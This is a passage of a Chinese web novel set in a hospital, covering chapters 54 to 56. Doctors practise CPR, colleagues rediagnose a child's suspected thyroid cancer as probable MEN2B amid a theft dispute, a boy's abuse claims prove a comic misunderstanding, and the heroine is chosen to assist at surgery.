陆嘉述思索道:“以前确实没有统一的标准,不过根据我的经验看,确实需要用力气才有用,我曾经为了救人,压断过患者的肋骨。” 南栀说:“这不罕见,如果深度不够,起不到效果。” 陆随道:“你们记住就好,以后就按照这个标准做。” 所有人都看向陆嘉述。 陆嘉述点头,“可以学。” 于是一大帮医生聚在客厅开始练习心肺复苏。 箫珵和陆随当人偶,南栀负责指导每个人的动作。 就连韦宁雨都在认真学习。 压真人不能太用力,还是不如假人方便。 阮乔早就学会了,她问:“除了按压,人工呼吸有标准吗?” 南栀想了想,把陆随揪过来。 “我给你们做个示范哦。” 陆随惊恐后退。 给他做人工呼吸?箫珵不得直接去厨房提刀?? 南栀道:“陆医生,你为什么要躲人工呼吸啊,不疼的。” 阮乔忍着笑打趣,“你俩都……还怕这?” 盛昭云:“这可不是医生该有的反应。” 陆嘉述满眼嫌弃,“不好意思,我孙子丢人了。” 陆随:“……” “这不能怪我,”陆随看向箫珵,“明明是他……” 不让他接近南栀。 箫珵笑笑,“我给你做也行,我会。” 陆随:“……” 那还是南栀来吧。 “人工呼吸是CPR的一部分,在患者没有意识、没有呼吸,或者仅有叹息样呼吸时,就需要做人工呼吸。成人通常是30次胸外按压后,进行2次人工呼吸,每次吹气1秒,间隔5~6秒。” 南栀拍了陆随一下,“躺好。” 陆随:“……” 他努力把自己当作提线木偶。 南栀说:“首先捏住患者的鼻子,嘴要完全包住患者口部,缓慢吹气持续1秒钟,同时观察胸部,胸部微微隆起算成功。” 南栀捏住陆随的鼻子,俯下身。 陆随闭上眼睛。 大家聚精会神地看。 就在南栀快碰到陆随时,箫珵提起南栀的衣领,把她拉起来,“我还是有点儿……你俩找个没人的地方,好吗?” 其他人:“……” “嘁!” 南栀说:“反正就是这么个意思,如果口腔受损,无法口对口呼吸,还可以口对鼻呼吸。一岁以下的婴儿可以轻柔些。” 南栀把陆随拽起来,“你的心跳怎么又快了,真的不用去检查??” 箫珵:“……” 闫民怀疯狂干咳。 阮乔和韦宁雨捂住耳朵,不忍心再听。 就连盛昭云都勾唇不语。 陆随脸颊已成绯红。 抛开偏见不谈,箫珵也是第一次见这样的陆随。 果然对他妹妹居心叵测! * 幸起检查结果显示,他极有可能患有甲状腺癌。 甲状腺功能低下可能存在便秘的表现。 幸起脖颈 处的颈部肿块提示甲状腺癌。 朱贺几人聚在一起讨论幸起的治疗方案。 幸起的情况还是比较特殊的,他是从出生起就开始便秘。 如果是甲状腺癌导致的便秘,那么他一出生就患癌? 这都得再讨论,还得做进一步的检查。 金瑞忙完回办公室,见几个儿科医生和甲状腺的医生讨论得热火朝天。 儿科暂时没有新的主任来,金瑞打理儿科大小事务。 他忙得团团转,外科大会也没时间去。 见病情复杂,金瑞走过去看病历。 “便秘?出生起就便秘?这孩子过得挺痛苦。” 朱贺说:“谁说不是,孩子真的很可怜,特别乖,居然有这种病。” “这很不常见啊,”金瑞问,“淋巴结肿大、颈前肿块,结论是甲状腺癌?做活检了?” “还没,但我看超声,觉得八九不离十,”朱贺想到南栀,“康宁医院的人也真是的,他们最近越来越嚣张,是不是都仗着陆教授?” 金瑞想了想,说:“我记得陆教授来之前,他们就很嚣张了。” 好像是南栀去康宁以后,情况就变了。 金瑞问:“康宁医院怎么了?” “昨天我们去开会,遇到康宁医院的人,就那个儿科的姓南的,说我们误诊,我真是服了,她都没给人家做检查,还说误诊。” 金瑞微怔,“是指幸起?” “是啊,患者不愿意在他们医院治疗,她就说咱误诊。” 金瑞重新拿起超声影片,“要不……查查再说?” 朱贺:“?” 金瑞道:“实不相瞒,她的水平比你高些,意见值得参考。” 朱贺:“……” 日子没法过啦! 正僵持着,护士匆匆跑过来,推门进来问道:“金主任,朱医生,小刘的项链你们看见没?” “什么项链?” “一条金项链,她结婚时买的,早上摘下来放在抽屉里,刚刚发现不见了。” 朱贺道:“我们怎么会……” 他脸色逐渐苍白。 另两个儿科医生小声说道:“其实我今天发现丢了五块钱。” “我也是,昨天就丢东西了。” “真是奇怪,以前没有这种事,医院进小偷了?” 朱贺:“……” 第55章 第55章活着好 南栀刚上班,阮乔便送来一个大八卦。 “你听说了吗,恩德儿科那边报案了。说是丢了三百块钱和两条金项链,两条!不过好像克数不高,警察过去了,整个病房区搜了个底朝天,你猜怎么着,钱都在哪?” 南栀放下正在整理的笔记,“幸起偷了?” “就是他!”阮乔说,“全都在他病床下面,幸起的妈妈不愿意了,现在正在和恩德医院闹呢,两边闹得特别难看!金主任刚刚在盛医生的诊室,我听她说的!” 现在儿科多了一间诊室。 一间给盛昭云和实习生用,另一间是陆嘉述和南栀用。 “幸起家的条件其实还行,说可能是甲状腺癌,就准备住院动刀了,不知道这孩子怎么养成偷东西的习惯。听说在学校特别乖,是班长,年年都拿三好学生。” 南栀说:“听起来像是有偷窃癖。” “甭管是真偷还是假偷,我看他妈才是罪魁祸首,儿子偷东西她包庇,也不教育他,能不走歪吗?” 南栀点头,“确实该好好教育,如果是形成习惯,以后就不好改了。” “他妈到现在还嘴硬,说恩德医院的威胁她,这下好了,估计是开不了刀了,又得转院。” 南栀把笔记交给阮乔,“我刚整理的儿科的内容,你看看,我去问问金主任。” 南栀还是挺惦记幸起的病的。 偷东西的事有警察管,她对这个刚出生就便秘的患儿很好奇。 金瑞还在和盛昭云吐苦水。 “我真的想不明白,我们科那几个小年轻是怎么了,非要比一比,可能被你们医院的儿科超过去不甘心,或者是被霍主任影响了?但是医学这种事,变好才该开心啊。” 南栀走进去,金瑞道:“哎,就等你了。” 南栀问:“幸起的情况不太好?” “也不是不好,还是老样子,”金瑞问,“是你和朱贺说幸起不是甲状腺癌?” “我只是让他们多查一查,别误诊。” 金瑞把幸起的检查报告和病历都拿出来,“你看看有什么问题吗?” 盛昭云把病历扣下,微笑道:“南栀想得比较少,我们得先说清楚,幸起还在你们医院就诊吗?” “能就得下去吗?”金瑞道,“医务部让他们别报警,但其实不报警也不对,毕竟丢了不少东西,不能因为对方是患者就任由他胡来。现在警察还在医院里,他妈战斗力是真强,一口咬定有人诬陷她儿子,还说她爸是老革命,走过长征的,要回家去找人。” 盛昭云奇怪道:“人赃并获了,还能抵赖?” “谁知道她是怎么想的,这钱是在床垫下面找到的,幸起一直在床上躺着,还能有别人栽赃?警察已经去查指纹了。” 盛昭云摇头道:“这样的家属,哪个医院收了都有得受。” “不过幸起的病还是很少见的,你们不想查明白他是什么病?” 盛昭云沉默。 好吧,她也想。 三人坐在一起研究幸起的检查报告。 “颈前区的肿物大小不一不对称,边界清晰,无触痛,可移动。” “甲状腺功能正常,没有问题?这倒是怪了。” “癌胚抗原655?参考值要小于5吧?” 热爱学习的阮乔也凑过来一起看。 金瑞多看了阮乔几眼,“你也感兴趣?” “这话说的,我好歹也是儿科的医生。” 金瑞恍然大悟,“对对对,差点儿忘了。” 阮乔:“……” 她以后一定好好学习!天天向上!做和南栀、盛昭云一样的医生! 阮乔的斗志刚起来,盛昭云便随口问道:“你爸和奶奶同意你和你妈住了?” 阮乔:“……” 她的斗志悄然流逝。 杨芬当初是为了事业选择离婚的,她想走得更远,丈夫安于现状。 后来杨芬离开,丈夫很难过也很生气,这些年对阮乔就没说过杨芬的好话。 奶奶更是直接告诉阮乔,杨芬是跟其他男人跑了。 她是真的这样想的,不然好端端地为啥非要离婚?这年头有几对夫妻会离婚的?真离婚了,脊梁骨都得被戳烂。 现在阮乔把杨芬接回来,还想搬过去照顾她,家里人都很生气。 “盛医生,你能说点儿好话吗?”阮乔垂头丧气道,“我都不知道该怎么和我妈说。我爸也真是的,夫妻一场,干嘛这么计较。” 可惜爸爸和奶奶都对她很好,她也不忍心看他们伤心,她现在就是馅饼里的馅儿,毫无生存空间。 金瑞笑道:“看惯了医院里这些孩子的病,还没看淡?健康才是最重要的。” 阮乔说:“我爸和我奶也这样想就好了。” 几个人继续研究幸起的病。 颈部超声显示,他有淋巴结肿大和甲状腺肿块,左、右侧甲状腺内均有一个低回声。 腹部平片及CT显示,患儿存在结肠扩张积气、肠壁增厚等现象。 盛昭云最先开口,“根据肿块判断甲状腺癌太武断,搞不好要多开一刀。” “我也是这么想的,所以想再查一遍。” 两人看向南栀。 金瑞已经习惯等南栀发言后再说话了,保险点儿,不会太丢人。 南栀把检查报告放下,“幸起来医院那天说话不多,但是声音嘶哑,对吗?” “对,还不爱吃东西。” 南栀道:“如果压迫食管,会有吞咽困难的情况。查过肾上腺嗜铬细胞瘤吗?” “这没查,难道你怀疑……”金瑞看向盛昭云。 阮乔:“怀疑啥?” 盛昭云沉思道:“肿块、便秘,身材 比较矮小,的确符合。” 阮乔:“符合什么?” 南栀道:“应该再做检查,确定有没有肾上腺嗜铬细胞瘤,然后去甲状腺外科做手术。甲状腺癌扩大根治术和颈淋巴结清扫术,如果有兄弟姐妹的话,最好再替他们查查。” 阮乔:“……” 她搬着椅子坐到三人中间,“你们还在吗?你们看不到我吗?我是阮乔啊,是不爱学习的阮乔啊!” 三人面色沉重。 盛昭云叫金瑞出去说话。 阮乔:“……” 再也不当学渣了! 阮乔抱住南栀的胳膊,“栀栀,好栀栀,你好好给我讲讲!” 南栀耐心解释道:“甲状腺髓样癌、先天性巨结肠、矮小等,都是2B型多发性内分泌肿瘤的表现,可能是MEN2B,应该多学科会诊,再做进一步检查。考虑到他一出生就有便秘的症状,可能和基因有关,但是现在没法做基因测序,所以只能看看他有没有兄弟姐妹,他的爸爸妈妈有没有类似的情况,有的话都需要治疗。” 阮乔赶紧都记到本子上,“好像听陆教授提过,陆教授应该挺擅长。” 南栀说:“如果他们愿意,再让陆教授看看当然是最好的,不过主刀的话,还是得让甲状腺外科来,话说回来,咱们医院有甲状腺外科吗?” 阮乔:“……” 南栀:“……” 当然没有。 康宁医院的分科没那么细,甲状腺的问题一般先去内分泌科。 需要动手术的话,要去普外。 阮乔说:“韦初雪不是研究肿瘤吗,问问她?” 南栀问:“她也上过台?” “当然,她可是汤院长的得意门生。” 幸起在康宁医院治疗的可能性不高,不过南栀对手术感兴趣,遇到病例就想多问几句。 韦初雪这两年是汤兴生的助手,办公室在院长办公室那边。 南栀对这一片区域都很陌生。 康宁医院说大不大,但说小也算不上,现在还有很多医生南栀都没见过。 南栀刚出现在办公室附近,便有人惊悚地看向韦初雪的工位。 丁铁天天和韦初雪一起去食堂吃饭,亲眼见证韦初雪身边的人向南栀靠拢的过程。 而且曾经对韦初雪表达过好感的陆医生还和南栀订婚了,南栀居然还敢找过来? 康宁医院要出大事了! 汤兴生走出来,“韦初雪去哪了?” 丁铁拼命对汤兴生使眼色。 汤兴生:“?” 他看到南栀走过来。 一看见南栀,汤兴生就头痛,在外科大会上他可算记住她了。 那么多人,就敢举手“告状”,虽然丢人的是恩德医院,但汤兴生一眼就能看出来,南栀这种都是天不怕地不怕的,以后还不一定会闹出什么乱子。 会议结束后,汤兴生去找过祁念珍,希望她能约束儿科的医生。 他最近有所耳闻,儿科露了好几次脸,连去食堂吃饭都声势浩大,听说心内心外骨科都往儿科那边靠拢。 这还得了? 但祁念珍态度坚决——想教训南栀?去找陆嘉述。 汤兴生哪里敢找。 现在看见南栀,他忍不住说上几句,“你是儿科的吧?” 南栀不认识汤兴生,见了也不害怕,但很乖巧地点头,“您好。” 丁铁赶紧提醒,“这是我们汤院长。” 对待院长要恭敬些。 汤兴生等着南栀重新问好。 南栀看看丁铁,又看看汤兴生,“哦。” 丁铁:“……” 汤兴生:“……” 不怪南栀,她实在不懂看到院长该有什么反应。 以前导师带她见过很多院长的,她都是乖乖站在导师身后问好。 倒是院长们经常和南栀问东问西,反正他们问什么,南栀直接回答就好。 现在汤院长没开口问,南栀默认为不用回答。 汤兴生很少遇见如此没眼力见的医生,只好主动说道:“上周末在外科大会的是你吧?” 南栀点头。 “其实咱们和恩德医院的医生都是同行,没必要过不去,多宽容些,事情就过去了,你说呢?” 丁铁没去外科大会,他拼命回忆最近几天听到的八卦,好像没有和南栀有关的。 南栀正想回答,穿着白大褂的韦初雪走了过来。 她每天都很忙,即便不忙,也会主动去其他科室帮忙,几乎快要住在医院里。 丁铁又朝韦初雪使眼色。 韦初雪现在过来,非得和南栀吵起来不可。 韦初雪很快注意到南栀,她神色凝重,没理会丁铁的提醒,反而加快步伐。 丁铁差点儿晕倒。 不是吧,今天是非打起来不可了吗? 丁铁默默低头,不敢看这一血腥的画面。 同时又竖起耳朵,等大战结束,他还得把八卦讲给别人听! 韦初雪神色严肃,第一次没先和汤兴生打招呼,反而盯着南栀看。 南栀亦看向韦初雪。 大战似乎一触即发。 丁铁开始后悔没买胶卷相机。 当初他妈想给他买,他嫌贵,看中了传呼机,唉,结果传呼机只能让医院更快地找到他,还是胶卷相机好,拍下来给陆随他,让他掏钱买断! 然而韦初雪开口时异常平和,“来找我?” 南栀点头,“听说你是研究肿瘤的,不知道研究哪个方面?我想学着做手术。” 韦初雪突然开心,“你想做外科医生?要继续学习?太好了!” 医院里总算还有个有上进心的! 她以前也是瞎,找什么陆随和箫珵啊,就不如直接去找南栀,她看南栀比那两位有天赋得多! 韦初雪分外热情,“好呀!你想学什么,我帮你找资料,要上台吗?都可以安排!这样吧,我现在还有点儿忙,我今天下午比较空,等我空了去找你!” 南栀笑容乖巧,“那就谢谢啦。” 丁铁:“……” 大战呢? 女人之间的嫉妒心呢? 汤兴生:“……” 有没有人来搭理他,他是院长,是院长…… 南栀和韦初雪定好时间,才看向汤兴生,“汤院长,您的意思是在我被恩德医院医生打扰的情况下,要牺牲自己学习进步的机会,对他们宽容些,是吗?” 汤兴生:“……,话不是这样说的,你看啊……” 韦初雪脸色忽然变了,“汤院长,您怎么能帮着恩德医院说话?” 南栀很委屈,“是恩德医院的医生在会议上大声说话,而且还说陆医生和陆教授……” 韦初雪:“他们嚼舌根,您还帮着他们!” 汤兴生:“……” 不是,到底谁是院长啊? “我错了,”汤兴生举手投降,“这事别提了,咱不提了好不好?” 南栀:“我懂的,以后我不会再举手发言了。” 韦初雪:“您看您,毁了一个有天赋的医生!” 汤兴生:“……” 他扶着头,脑袋有点儿晕。 总觉得再和这俩人纠缠下去,宇宙覆灭的罪就要安在他身上了。 汤兴生转身就跑。 丁铁:“……” 这戏可不好看。 南栀回到儿科,郁薇的孩子状况不太好,她便顺便去住院部看看。 现在住院部的孩子比平时多得多。 阮乔打了个哈欠,慢悠悠地往病房走。 南栀道:“井珧他们不在,住院部应该安静多了。” 阮乔:“哈哈,可能吧。” 南栀:“?” 她走到熟悉的病房,打开熟悉的门,面前飞过一个熟悉的枕头。 熟悉的笑声传来,几个家长急得满头大汗,“你们快出来,别在床底下趴着,哎,你们都生着病呢,得多休息!” 樊金月坐在病床上咯咯地笑。 南栀:“……” 这是什么情况?! 阮乔神色悲痛,“前天中午,井珧和农朔过来了。” 南栀:“……” 她默默关上病房门 。 还好,还好她在门诊! * 郁薇的早产儿还在保温箱中,孩子的状况一般,郁薇的状况也一般。 虽然郁薇的手术很顺利,但是ICU的条件不好,昨天郁薇还出现感染症状,陆随一直在忙郁薇的事。 南栀看过孩子后,打算回门诊,刚出来便看到在附近溜达的郁格。 想到郁格可能是因为郁薇过来的,南栀走过去。 郁格没穿消防员的队服,现在穿了一身黑色带白杠的运动装,身材不错,挺显肌肉。 阮乔低声道:“帅哥哦。” 南栀:“?” 没看出来。 阮乔问:“这都不帅,在你眼里谁帅?” 南栀不假思索道:“陆随的手!” 阮乔:“……” 就这,还说和人家只是互相帮助? 马上就要帮忙去领结婚证了吧? 郁格道:“幸好你来了,可算有救了。” 南栀问:“要见孩子吗?现在还不能见。” “是我姐,”郁格愁道,“我姐现在住院,人家不让我们进,我们都不知道她现在的情况。” 南栀说:“我们医院的ICU有探望时间,每天下午可以进去二十分钟。” “是啊,但是二十分钟太短了,我们也不知道她是什么情况啊!我就想着,能不能找你说说,帮我看看我姐怎么样了,还有就是让护士多照顾照顾她。” 郁格掏出一个红包。 这是每个患者家属都会有的顾虑,南栀说:“红包不能收,不过我认识郁薇的主治医生,可以和他提一句。” 安抚家长的情绪嘛,一般都这么说。 郁格说:“现在能去吗?” 阮乔:“……” 她头一次见到比南栀情商还低的人。 总归郁薇的主治医生是陆随,陆随能配合她们。 南栀点头,“可以。” * 郁薇术后肺部感染,现在身体指标不太好。 如果在后世,还能上ECMO,但康宁没有设备。 陆随只能给郁薇用药,期待她能战胜病魔恢复健康。 在ICU看过几个心外的病人,陆随和箫珵往办公室走。 他们两个人排的门诊不多,大多数时间都在手术。 陆随恢复工作时间不长,现在已经完全适应。 箫珵把手头的病人分了几个给陆随。 两人暂时和平。 箫珵说:“只要你不欺负我妹妹,其他事都好说,咱俩之间,说到底没什么恩怨。” 陆随反问:“我这几天写了一篇论文,你拿的?” 他还没完全写好,放在办公室的抽屉里,今天中午空闲时间想再看看,却发现论文不见了。 陆随在办公室问了一圈,也没人说见过论文。 箫珵道:“我拿你论文做什么?” 陆随倒是也没怀疑过箫珵,他们只是个人恩怨,最多拌几句嘴。 箫珵问:“其实你觉不觉得火灾的事挺奇怪。” 箫珵来得早,对这些事比较熟,陆随和南栀都是后来才来的。 “我和卫天?” 箫珵点头,“火灾还没有定论,消防队员来了,说起火点是垃圾桶,起火点是杂物间,卫天是过去玩的,你这位过去做什么?” 陆随没有这段记忆,火灾之前的事他都记不太清楚。 “还有啊,你和南栀遇到的火灾也很奇怪,大体老师休息的地方发生火灾?那是什么地方?” 陆随说:“这件事我也想过,大概率是有人放火,但我当时和南栀根本不认识。” 什么人会想烧死他们? 箫珵叹气,“总之你们都得小心,如果和你南栀遇到危险……” 他深情地看着陆随。 陆随以为箫珵要说些舍不得他的话。 箫珵说:“记得你先死啊。” 陆随:“……” 他和箫珵果然处不来。 两人还没到办公室,就在半路遇到南栀和阮乔,二人身后跟着一年轻男子。 就他们的目光来看,郁格长得还算阳光,一身腱子肉,身材很好。 陆随道:“已经说过了,你姐姐目前还没度过危险期,不能随便见面,更不能出院。” 郁格讨好地看向南栀。 陆随:“?” 南栀道:“他就是想拜托你多照看照看郁薇。郁薇也蛮可怜的,你就答应嘛。” 南栀朝陆随挤眼睛。 人在ICU,医生们都会关注,不敢有疏忽,想格外关照某人,不是做不到,而是没必要。 反正陆随答应就好,郁格就能放心了。 陆随拧眉。 郁格对南栀可怜巴巴道:“你看,陆医生好严格,不会帮我的。” 南栀安慰道:“不会的,陆医生工作很认真的。” 郁格:“唉,我只是担心我姐的身体……” 陆随的眉头越来越紧。 箫珵也蹙起眉。 这人在干嘛? 阮乔察觉到不妙,后退一步。 陆随:“没有后门给你开。” 箫珵:“你以为医院是你家?” 陆随:“关注你姐,其他病人怎么办?” 箫珵:“我们会公平地对待每一个病人,你少来这一套。” 阮乔捂住嘴,以免自己笑出声。 南栀:“?!” 不是,随便敷衍几句就好了啊,这俩人在干嘛?! 郁格也被说蒙了,“我,我不是让你们只关注我姐,只是我姐她……” “办不到,”陆随冷冰冰道,“别以为找熟人来就能说情,在医院公平最重要。” 箫珵问:“这人谁啊?你和他很熟?” 南栀:“……” 她赶紧和郁格解释,“他俩人很好,你真的可以放心,你……” 陆随把南栀拎走,“先天性心脏病的手术还做吗?废话真多。” 箫珵冷笑,“我记得你好像是消防员,难道你进入火场,要挑人来救?” 箫珵紧跟着离开。 郁格:“……” 他看向阮乔,无辜道:“阮医生,我说错话了吗?” 阮乔说:“对他们来说,你最大的错……” 郁格:“是什么?” 阮乔:“就是活着。” 第56章 第56章上台 盛昭云和金瑞商量着,还是该把他们的判断告诉幸起家人。 如果他们愿意回来医治当然最好,如果还要去其他医院,也能给其他医生提供一些思路。 看病这事,经验很重要,能少走很多弯路。 金瑞主动给戴菲菲打去电话,她刚从派出所回家。 派出所采集了钱币上的指纹,每一张上都有幸起的指纹,而且覆盖钱币原有主人的指纹。 幸起偷窃证据确凿,但他年纪小,最后只是教育一顿,再归还所有钱,便让他回家了。 金瑞打电话时,戴菲菲正在家里发疯。 面对金瑞的建议,戴菲菲自然也是漠视,“我们不在你们医院治了!不要再给我打电话!” 金瑞耐心解释,“不管你去哪家医院,都可以将我们的推测告诉医生,有助于诊断。” “别来这一套!我看你就是想来看我的笑话!” 戴菲菲气冲冲挂断电话。 她看向躲在沙发后哭鼻子的幸起。 戴菲菲虽然是家庭妇女,但是幸起的爸爸这些年赚了不少钱。 从国家实行价格双轨制后,他靠国家定价和市场价的差价赚了不少钱。 有的时候做成一单生意就能赚几万块,不过风险也高。 他们家是不缺钱的,甚至很富裕。 戴菲菲怎么都不相信儿子会偷东西。 “你说实话,为什么拿钱,是我没给过你大额的零花钱,你想看看?还是你喜欢项链?” 幸起就呆坐着哭,什么也不说。 哭几声,戴菲菲就心疼了,这孩子一出生就生病,这些年没过多少舒坦日子。 戴菲菲拉起儿子,“走,不提了,去看病。” 临川市虽然发展一般,但大医院还是有几个的 ,最好的是恩德医院,儿科方面除了恩德还有儿童医院。 儿童医院是建国初期便建立的,当时几个专家教授来临川市帮忙,要建立他们自己的儿童医院。 戴菲菲带着幸起去看病。 儿童医院同样给开了一堆检查,戴菲菲虽然腹诽,但还是照做。 硬块依然存在,症状也是那些症状。 儿童医院找来甲状腺外科的医生,几人交谈一番,对戴菲菲说道:“你之前去过康宁医院和恩德医院?” 戴菲菲不情愿地点头。 “现在儿科方面的权威陆教授就在康宁医院坐诊,我建议你们还是去找陆教授看看,陆教授手术经验丰富,她来处理,比我们处理更好。” 戴菲菲一听说又要回康宁,老大的不情愿,“你们儿童医院,还不如康宁?” “不是谁好谁不好的问题,”医生笑着解释,“陆教授做过很多起类似的手术,幸起的组织粘连比较严重,当然是熟手来开刀更好,而且幸起的病情很罕见,陆教授比我们经验多,如果能把幸起治好,对以后医学发展也有好处。” 医生是完全为了患儿和将来考虑。 陆教授平时不开普通的刀就罢了,现在她就在康宁医院看诊,如果能让她瞧瞧,当然是最好的。 戴菲菲心里有一百个不情愿。 康宁医院和恩德医院都没好人,孩子不小心拿了一点儿钱而已,非要报警。 尤其是恩德医院,居然还闹到派出所,这事传出去,让他家孩子怎么做人? 但…… 戴菲菲看向从出生起就没正常排便过得幸起。 他遭的罪已经够多了。 康宁医院,南栀继续跟着陆嘉述出诊。 今天的病人格外多,而且有不少人是主动找南栀的。 南栀的大名也挂在儿科很久了,最近找她的人越来越多。 不过乍一看,似乎都没什么特别的。 一位父亲带着儿子来看诊。 小男孩才六七岁,模样十分可爱,大眼睛双眼皮,长得还很白净,看着就招人喜欢。 南栀摸了摸他的头,留意到他身上有很多疤痕。 她不动声色地问道:“贪玩吗?” 男人吐起苦水,“他呦,最近也不知道是怎么了,天天躲起来哭,还在外面和人家打架,这几天越来越没精神,我和孩子他妈都很担心他,就赶紧带过来看看。” 南栀道:“你先去给他开个药,一会儿再回来接他。” 陆嘉述看了这边一眼。 这是要把男人支走。 男人不懂这些套路,医生说啥就是啥,赶紧去开药,开的其实就是普通的维生素。 等男人离开,南栀才严肃问道:“小朋友,你的伤是怎么来的?” 小男孩不说话,看着南栀苦哈哈地流泪,转瞬间便泪流满面。 南栀赶紧哄他,“别难过啊,你和姐姐说实话,姐姐一定帮你。” 男孩点头,“好的阿姨。” 南栀:“……” 男孩擦干净眼泪,说:“我觉得爸爸妈妈都不爱我。” 情况有点儿严峻。 南栀打起精神,“他们对你做了什么?” “他们只爱弟弟,”男孩眼巴巴道,“阿姨,我是爸爸妈妈亲生的吗,我妈妈说,我是她从垃圾桶里捡来的,我以前不信,好像是真的。” 南栀道:“你仔细说说。” “他们只给弟弟吃东西。” 南栀大惊。 竟然还饿着孩子?! 看他的小身板,也像是饿着吃不饱的。 南栀问:“爸爸妈妈是在虐待你吗?” 男孩可怜兮兮问道:“什么是虐待?” “打你,不给你吃饭,对你不好。” 男孩听着听着更委屈了,“爸爸妈妈每天晚上都把我关在小黑屋里,他们只陪弟弟。” 旁边陪孩子看病的家长听了都开始生气,“怎么还有这样当爸妈的?只管生不管养?我还是第一次听说要把孩子关在小黑屋里的!孩子!你爸一会儿来了,你再说一遍!我必须得跟他理论理论,哪有这样的!” 南栀说:“如果有家暴的话,得报警。” 虽然派出所的一般也管不了家暴。 但好歹能提醒男孩的父母,告诉他们还有人在关注男孩的处境,希望他们能有所收敛。 南栀拿起话筒。 同一时刻,男人敲门走进来,男孩回答的速度太慢了。 南栀立刻把男孩拉到身后。 旁边的家长是个泼辣的,张嘴就骂,“你们就是这样养孩子的?” 男人一怔,赶紧道歉,“是我们关注不到位。” 肯定是孩子查出什么病了! 家长说:“我家里也有两个孩子,我知道小孩可能需要更多的精力照顾,但也不能这样对你大儿子,你考虑过他的感受吗?” 男人心虚地摸着头,“抱歉抱歉,以后我们一定多注意。” 家长:“不管怎么说,你们也不能动手打他!” 男人又怔了两秒,“这样吗?回家我一定和孩子他妈说说。” “还有啊,也不能把他关起来。” “恩?还关起来?” “最重要的是,你得给孩子吃饭啊!” “……” 什么意思,是不给孩子吃饭,还是不能让孩子吃饭? 不给是不可能的,那就是不让孩子吃饭? 难道他刚刚听到的,都是将来要做的? 男人走进来,神色悲痛,“您直说吧。” 南栀:“?” 第一次听到这种要求。 二人同时开口—— 男人:“您就说他到底得了什么重病,我们都治,一定要治!” 南栀:“拿小孩子出气,是人渣行为。” “……” 陆嘉述挑眉看着几人。 男人:“呃,冒昧问一下,您在说什么?” 南栀:“……” 有点儿乱。 家长也蒙了,“这孩子说你们打他,不给他饭吃,晚上还要把他关在小黑屋。” “小黑屋?!”男人差点儿跳起来,“误会误会,都是误会!” 男孩悲伤道:“不是的,是真的。” 男人:“我们啥时候把你关起来了!” 男孩:“每天晚上都关起来呀。” 男人:“别蠢了,我们是让你回自己的房间睡觉!!” “还有,我们啥时候不给你饭吃?” 男孩忧伤道:“你们总给我不好吃的东西。” “你总想吃肉,谁养得起你!” “但你们给弟弟吃糖!” 男人傻了两秒才反应过来,“蠢货,那是驱虫药!” 南栀:“……” 家长:“……” 陆嘉述开心地笑起来。 这年头的驱虫药,塔形的,有点儿甜,看着确实像糖。 南栀问:“这不是你们打的?” “哎哟,真是误会,我一般不打他,孩子他妈也不像是会动手的人啊。这伤都是他在外面打架搞的,天天和人家打架,但你看他鸡崽子样,能打得过谁?只能挨揍!” 南栀:“……” 家长:“……” 家长说:“咳,孩子……有心气,好事。” 南栀:“……” 再也不会相信可爱的小朋友了! 魔鬼,他们果然都是魔鬼! 戴菲菲就是这会儿才排到的。 她不太好意思见南栀,故意往陆嘉述那边排。 儿童医院的也说了,康宁医院的大教授是个八十多的老人。 她带着幸起匆匆走进来,不去看南栀。 南栀给男孩做了检查,他挑食很严重,有点儿营养不良,其他方面都挺好的。 她重新给男孩开了药,先前的维生素能吃的就吃,不能吃的就退了。 南栀也假装没看见戴菲菲,继续看诊。 她是个非常有情商的人,戴菲菲不想被她发现,她就得装不知道! 以后她也会继续走在有情商的路上! 陆嘉述道:“别乐了,来看看,是不是你们之前提过的病例?” 南栀这才看过来,装模作样道:“哎呀,原来是你呀,你不是说不来我们医院吗?怎么又过来了?” 南栀:情商一绝。 戴菲菲:……阴阳怪气。 然而戴菲菲现在也只能忍气吞声。 她儿子生了大病,她没资格挑医生了。 戴菲菲扯出笑容,“呵呵,是这样的,儿童医院那边推荐我们过来,说陆教授很有水平。” “没问题没问题,”南栀说,“给孩子治病要紧,不过我也得和您提个醒,孩子本身去拿东西,可能不是缺什么,这可能也是一种病。” 戴菲菲:“……,我明白。” 真气! 怎么就非康宁医院不可了! 南栀:委婉说话技巧再次提升! 陆嘉述把幸起的片子和检查报告交给南栀,“你看看,儿童医院也查了一遍。” 儿童医院又多做了几项检查,结果与南栀几人讨论的结果吻合。 南栀问:“这个手术您能做吗?” 陆嘉述扬眉,“还有我不能做的手术?” “您不是专注神经外科吗?” 陆嘉述微笑,“只是这几年。” 陆嘉述的父亲曾经是民国时期的商人,也就是当时的民族资本主义。 她家里不缺钱,一心学医,父亲便把她送到国外求学。 回国后,陆嘉述一直在洋人的医院工作,不是她不想报效祖国,实际上建国后仍然有许多外国人开办的医院留在国内。 当时他们什么技术都没有,都得跟着苏联学。 没人没设备,遇到病都得自己捉摸,陆嘉述什么手术都做过。 十几年前,国家还提倡“全科大夫”,部分人认为医生就得什么病都能看,有些专科医生的境遇很不好。 陆嘉述聪明,学什么都学得快,历史原因,她基本上什么科的手术都做过,区别就是做得多还是做得少。 南栀对陆嘉述的崇拜更上一层楼。 放在后世,哪有人敢说自己什么手术都能做? 要真说全科医生,大家只能想到基层的医生,没办法,才什么都得看。 陆嘉述道:“手术可以做,先入院吧,做术前准备。” 祁念珍为手术室增加了一套录像设备,是特意去找院长多批的经费。 有了这套设备,以后医院的医生就能观摩老教授、老医生的手术,便于学习。 陆嘉述这几日一直在为幸起的手术做准备。 戴菲菲每天忙着躲南栀和阮乔,日子过得很艰难。 幸起的指标还不错,他需要切除肿块,还要做淋巴结清扫。 陆嘉述点名要南栀一助。 一般一助都得是有经验的主治医生,普外有好几个医生都能做一助,陆嘉述不同意。 这事搞得普外的人心里犯嘀咕。 儿科能有人做一助吗? 盛昭云? 这几年儿科一直很缺人,盛昭云要留在门诊,没听说她上过台。 阮乔? 那就更不可能了,她混了好几年,一直混在住院部,到现在还都不是主治医生。 手术当天,大家终于看到一助的脸,一个模样很好看的小姑娘。 祁念珍的录像设备起到作用,在手术室外也能通过录像看到手术过程。 “南栀……你听说过吗?” “没有,是咱们医院的吗?” “我听说过!骨科那个手术你们不知道吗?好像还看了几个挺复杂的病例,估计是陆教授的爱徒。” 陆随和箫珵走进来。 南栀第一次上台,跳过二助、三助,直接做一助,怎么说呢…… 箫珵神态轻松,“我很放心南栀,她的本事一定行。” 陆随耸肩,“我也不担心。” 其他医生面面相觑。 什么风把心外的两个大神都吹来了? 箫珵:“你不担心,你皱眉做什么?” 陆随:“我天生眉头窄,倒是你,刚下手术就跑过来,是真不担心?” 